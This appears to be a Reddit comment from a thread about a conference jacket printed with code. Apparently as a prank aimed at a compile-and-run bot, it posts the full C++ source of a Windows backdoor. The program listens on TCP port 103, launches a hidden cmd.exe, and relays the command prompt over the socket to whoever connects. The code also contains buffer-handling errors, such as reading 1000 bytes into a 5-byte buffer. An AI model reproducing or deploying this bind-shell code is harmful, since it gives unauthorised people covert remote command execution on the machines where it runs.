The jacket I got for going to Apple's developers convention is written in code

+/u/CompileBot C++ #include <windows.h> #include <winsock2.h>

DWORD WINAPI HandleScks(LPVOID lpParam)
{
   SOCKET theSck = (SOCKET)lpParam;
   HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
   SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES), NULL, true};
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   DWORD stuff;
   char buff[1000], recvBuff[5];
   bool firstsend;
   int offset = 0, bRecv;

   if(send(theSck, "RS\r\n\r\n", sizeof("RS\r\n\r\n"), 0) == SOCKET_ERROR) goto closeSck;

   if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)) {
       send(theSck, "Error Creating Pipes For RS\r\nClosing Connection...", 60, 0);
       goto closeSck;
   }

   GetStartupInfo(&si);
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;                                                                                               
   si.hStdInput = stdinRd;

   if(!CreateProcess("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
       send(theSck, "Error Spawning Command Prompt. \r\nClosing Connection...", 52, 0);
       goto closeSck;
   }

   while(1) 
   {
       Sleep(100);
       GetExitCodeProcess(pi.hProcess, &stuff);
       if(stuff != STILL_ACTIVE) break;

       PeekNamedPipe(stdoutRd, NULL, 0, NULL, &stuff, NULL);
       if(stuff != 0) 
       {
       ZeroMemory(buff, sizeof(buff));
       firstsend = true;

       do {
               ReadFile(stdoutRd, buff, 1000, &stuff, NULL);
               if(firstsend) 
               { 
               send(theSck, buff + offset, strlen(buff) - offset, 0); 
               firstsend = false; 
               }
               else send(theSck, buff, strlen(buff), 0);
          } while(stuff == 1000);
       }

       if(!strcmp(recvBuff, "\r\n")) offset = 0;
       bRecv = recv(theSck, recvBuff, 1000, 0);
       if((bRecv == 0) || (bRecv == SOCKET_ERROR)) break;
       recvBuff[bRecv] = '';
       WriteFile(stdinWr, recvBuff, strlen(recvBuff), &stuff, NULL);
       offset = offset + bRecv;
   }

   closeSck:
       TerminateProcess(pi.hProcess, 0);
       CloseHandle(stdinRd);
       CloseHandle(stdinWr);
       CloseHandle(stdoutRd);
       CloseHandle(stdoutWr);
       closesocket(theSck);
       return 0;
}

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nCmdShow)
{
   WSADATA wsaDat;
   SOCKET listenSck, acceptSck;
   struct sockaddr_in service, client;
   int lSize;

   WSAStartup(MAKEWORD(2, 2), &wsaDat);
   listenSck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

   service.sin_family = AF_INET;
   service.sin_addr.s_addr = htonl(INADDR_ANY);
   service.sin_port = htons(103);  

   bind(listenSck, (struct sockaddr*)&service, sizeof(service));
   listen(listenSck, 1);
   lSize = sizeof(client);

   while(1) {
   acceptSck = accept(listenSck, (struct sockaddr*)&client, &lSize);
   if(listenSck != SOCKET_ERROR)
   CreateThread(NULL, 0, HandleScks, (LPVOID)acceptSck, 0, NULL);
   }

   cleanup:
       closesocket(listenSck);
       closesocket(acceptSck);
       WSACleanup();
       return 0;
}
/r/mildlyinteresting Thread Parent Link - imgur.com